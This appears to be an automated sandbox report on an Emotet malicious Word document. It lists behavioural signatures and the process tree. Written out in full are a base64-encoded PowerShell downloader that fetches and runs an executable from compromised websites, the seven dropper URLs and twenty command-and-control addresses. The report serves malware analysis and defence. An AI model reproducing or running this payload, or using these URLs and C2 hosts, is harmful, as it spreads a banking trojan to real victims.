Analysis

  • max time kernel
    103s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    26/08/2020, 13:10

General

  • Target
    emotet_e3_726851d13c68bded8ced4904841817ce37f6bde1a4921825deeba3fe687e78b9_2020-08-26__130837._doc.doc
  • Size 222KB
  • Sample200826-bpnytskbee
  • SHA256 726851d13c68bded8ced4904841817ce37f6bde1a4921825deeba3fe687e78b9
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://inmed.vn/wp-content/BTAvhtA/

  • exe.dropper

    http://softpark.com.br/administrator/xwFvil6rzzki0254/

  • exe.dropper

    http://blueprint.sd/c8elx3o/xvMBZZbAIAoq/

  • exe.dropper

    https://uptechnology.com.br/redepay/img/dDiOE/

  • exe.dropper

    http://matadebenfica.com/permanente/IoEsXoKNsRRQ/

  • exe.dropper

    http://tjstore.ir/wp-admin/lcVWrhdoywvf8x8712/

  • exe.dropper

    http://garden-center.ro/wp-content/ddYzXcaL/

Extracted

Family
  • emotet

C2
  • 88.249.181.198:443

  • 65.156.53.186:8080

  • 68.183.233.80:8080

  • 185.81.158.15:8080

  • 37.187.100.220:7080

  • 60.125.114.64:443

  • 201.235.10.215:80

  • 81.214.253.80:443

  • 118.101.24.148:80

  • 181.126.54.234:80

  • 197.232.36.108:80

  • 178.87.171.199:80

  • 139.99.157.213:8080

  • 115.79.195.246:80

  • 177.94.227.143:80

  • 113.161.148.81:80

  • 192.210.217.94:8080

  • 173.94.215.84:80

  • 112.78.142.170:80

  • 217.199.160.224:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_726851d13c68bded8ced4904841817ce37f6bde1a4921825deeba3fe687e78b9_2020-08-26__130837._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1764
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABYAG8AdgBmAHYAMgBuAD0AKAAnAEEAMwAnACsAKAAnAGcAZwAzACcAKwAnADgAdQAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAVABlAG0AUABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAEUAYwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAHIAYABpAGAAVAB5AHAAYABSAG8AdABPAGMAYABvAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIAJwArACcALAAnACkAKwAnACAAdAAnACsAKAAnAGwAcwAxACcAKwAnADEALAAgAHQAJwApACsAJwBsAHMAJwApADsAJABGADQAcABfAHoAeQBhACAAPQAgACgAKAAnAFUAYQAnACsAJwBtAHIAcgAnACkAKwAnAGcAdAAnACkAOwAkAEIAcgA3AG4ANQBjAHIAPQAoACgAJwBRACcAKwAnAGQAawAnACkAKwAoACcAcAAnACsAJwBpAHEAZgAnACkAKQA7ACQASwBrADUAZQByAHcAdwA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwBjACcAKwAnAEoAZAB3AG8AJwArACcAcgBkAGMAJwArACcASgAnACkAKwAnAGQAJwArACgAJwAyADAAMQAnACsAJwA5AGMAJwApACsAJwBKACcAKwAnAGQAJwApAC4AIgBSAEUAYABQAGAATABhAEMAZQAiACgAKABbAEMAaABhAFIAXQA5ADkAKwBbAEMAaABhAFIAXQA3ADQAKwBbAEMAaABhAFIAXQAxADAAMAApACwAJwBcACcAKQApACsAJABGADQAcABfAHoAeQBhACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQAWAA5AGQAegBwAHAANAA9ACgAKAAnAEcAYwBoACcAKwAnAHoAbQAnACkAKwAnAHUANAAnACkAOwAkAEQAbwAzADEAMgBsAGwAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBlAGIAYwBsAGkARQBOAHQAOwAkAEkAeQBiAGMAZwBpAGIAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAKAAnAC8AJwArACcALwBpAG4AbQAnACkAKwAnAGUAJwArACcAZAAnACsAJwAuAHYAJwArACgAJwBuAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGMAbwBuAHQAZQAnACsAJwBuAHQAJwApACsAKAAnAC8AJwArACcAQgBUACcAKQArACcAQQAnACsAJwB2AGgAJwArACcAdAAnACsAKAAnAEEAJwArACcALwAqAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAcwAnACsAJwBvACcAKwAoACcAZgAnACsAJwB0AHAAJwArACcAYQByAGsALgBjACcAKQArACgAJwBvAG0ALgBiAHIAJwArACcALwBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACkAKwAoACcAbgBpAHMAdAAnACsAJwByACcAKQArACgAJwBhACcAKwAnAHQAbwByACcAKQArACgAJwAvAHgAdwBGAHYAaQBsACcAKwAnADYAJwArACcAcgB6AHoAawAnACkAKwAnAGkAJwArACcAMAAyACcAKwAnADUAJwArACcANAAnACsAJwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACgAJwBwADoALwAvAGIAJwArACcAbAAnACsAJwB1AGUAcAByACcAKQArACcAaQBuACcAKwAoACcAdAAuAHMAJwArACcAZAAnACkAKwAnAC8AJwArACcAYwAnACsAJwA4AGUAJwArACcAbAAnACsAJwB4ADMAJwArACgAJwBvAC8AJwArACcAeAB2AE0AJwArACcAQgBaACcAKQArACgAJwBaAGIAJwArACcAQQBJACcAKQArACgAJwBBAG8AcQAvACoAaAB0AHQAJwArACcAcAAnACsAJwBzACcAKQArACgAJwA6AC8ALwB1AHAAdAAnACsAJwBlACcAKwAnAGMAJwApACsAKAAnAGgAbgAnACsAJwBvAGwAJwArACcAbwBnAHkAJwArACcALgBjACcAKQArACgAJwBvAG0ALgAnACsAJwBiAHIAJwApACsAKAAnAC8AJwArACcAcgBlACcAKQArACgAJwBkAGUAJwArACcAcABhACcAKQArACcAeQAnACsAKAAnAC8AaQBtAGcAJwArACcALwAnACkAKwAoACcAZAAnACsAJwBEAGkATwBFAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAvAC8AbQBhAHQAYQAnACsAJwBkAGUAJwArACcAYgAnACsAJwBlAG4AZgBpACcAKwAnAGMAYQAnACsAJwAuACcAKQArACcAYwBvACcAKwAnAG0ALwAnACsAKAAnAHAAZQByACcAKwAnAG0AYQBuACcAKwAnAGUAbgB0ACcAKQArACcAZQAnACsAKAAnAC8ASQBvACcAKwAnAEUAJwArACcAcwBYAG8AJwArACcASwBOAHMAJwArACcAUgBSAFEAJwApACsAKAAnAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoAJwApACsAKAAnAC8ALwB0ACcAKwAnAGoAJwApACsAKAAnAHMAdABvACcAKwAnAHIAJwApACsAKAAnAGUALgBpAHIALwB3ACcAKwAnAHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AaQBuACcAKwAnAC8AbABjAFYAVwAnACsAJwByAGgAJwApACsAKAAnAGQAbwAnACsAJwB5AHcAdgAnACsAJwBmADgAeAAnACsAJwA4ADcAMQAyAC8AJwApACsAKAAnACoAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AJwArACcAZwBhAHIAZAAnACsAJwBlAG4ALQAnACkAKwAnAGMAZQAnACsAKAAnAG4AdABlAHIAJwArACcALgAnACsAJwByACcAKwAnAG8ALwB3AHAAJwApACsAKAAnAC0AYwBvACcAKwAnAG4AdAAnACkAKwAoACcAZQBuACcAKwAnAHQALwBkAGQAJwApACsAKAAnAFkAJwArACcAegBYAGMAYQBMAC8AJwApACkALgAiAFMAcABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVwA2AGQAZQA2AF8AZAA9ACgAJwBIAGUAJwArACcAdQB5ACcAKwAoACcAdwAnACsAJwBlAGUAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABTAHkAbgBnADUANAB3ACAAaQBuACAAJABJAHkAYgBjAGcAaQBiACkAewB0AHIAeQB7ACQARABvADMAMQAyAGwAbAAuACIARABPAHcATgBsAGAAbwBhAGAAZABmAEkAbABFACIAKAAkAFMAeQBuAGcANQA0AHcALAAgACQASwBrADUAZQByAHcAdwApADsAJABXAHkAdQB0AGMANQBsAD0AKAAnAFIAJwArACcAdgAnACsAKAAnAGQAMgA3ADMAJwArACcAMQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABLAGsANQBlAHIAdwB3ACkALgAiAGwAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMgAxADYAOQA0ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AJwArACcAawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEsAawA1AGUAcgB3AHcAKQA7ACQATwB1AG4AbQBiADQAOQA9ACgAJwBFACcAKwAoACcAbwBrACcAKwAnADcAZgB6ACcAKwAnAGYAJwApACkAOwBiAHIAZQBhAGsAOwAkAFcANQB5AGEAagB4AGMAPQAoACgAJwBNACcAKwAnAHAAawAnACkAKwAoACcAOAAnACsAJwBuAGMAdAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABtAGIAdQAyAF8ANQA9ACgAJwBRAHkAJwArACgAJwA5AHAAJwArACcAYQAyACcAKQArACcAdAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Uamrrgt.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Uamrrgt.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1948
      • C:\Windows\SysWOW64\netdiagfx\WMPhoto.exe
        "C:\Windows\SysWOW64\netdiagfx\WMPhoto.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1644

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1492-23-0x000007FEEED30000-0x000007FEEEFAA000-memory.dmp

        memory/1644-22-0x0000000000390000-0x000000000039C000-memory.dmp

        memory/1764-4-0x0000000006DB0000-0x0000000006FB0000-memory.dmp

        memory/1764-6-0x000000000AD30000-0x000000000AD34000-memory.dmp

        memory/1764-2-0x0000000008900000-0x0000000008904000-memory.dmp

        memory/1948-19-0x0000000000540000-0x000000000054C000-memory.dmp

        memory/1964-10-0x00000000020B0000-0x00000000020B1000-memory.dmp

        memory/1964-15-0x000000001C430000-0x000000001C431000-memory.dmp

        memory/1964-14-0x000000001C3A0000-0x000000001C3A1000-memory.dmp

        memory/1964-13-0x00000000024F0000-0x00000000024F1000-memory.dmp

        memory/1964-12-0x00000000020F0000-0x00000000020F1000-memory.dmp

        memory/1964-11-0x000000001ACE0000-0x000000001ACE1000-memory.dmp

        memory/1964-9-0x000007FEE95D0000-0x000007FEE9FBC000-memory.dmp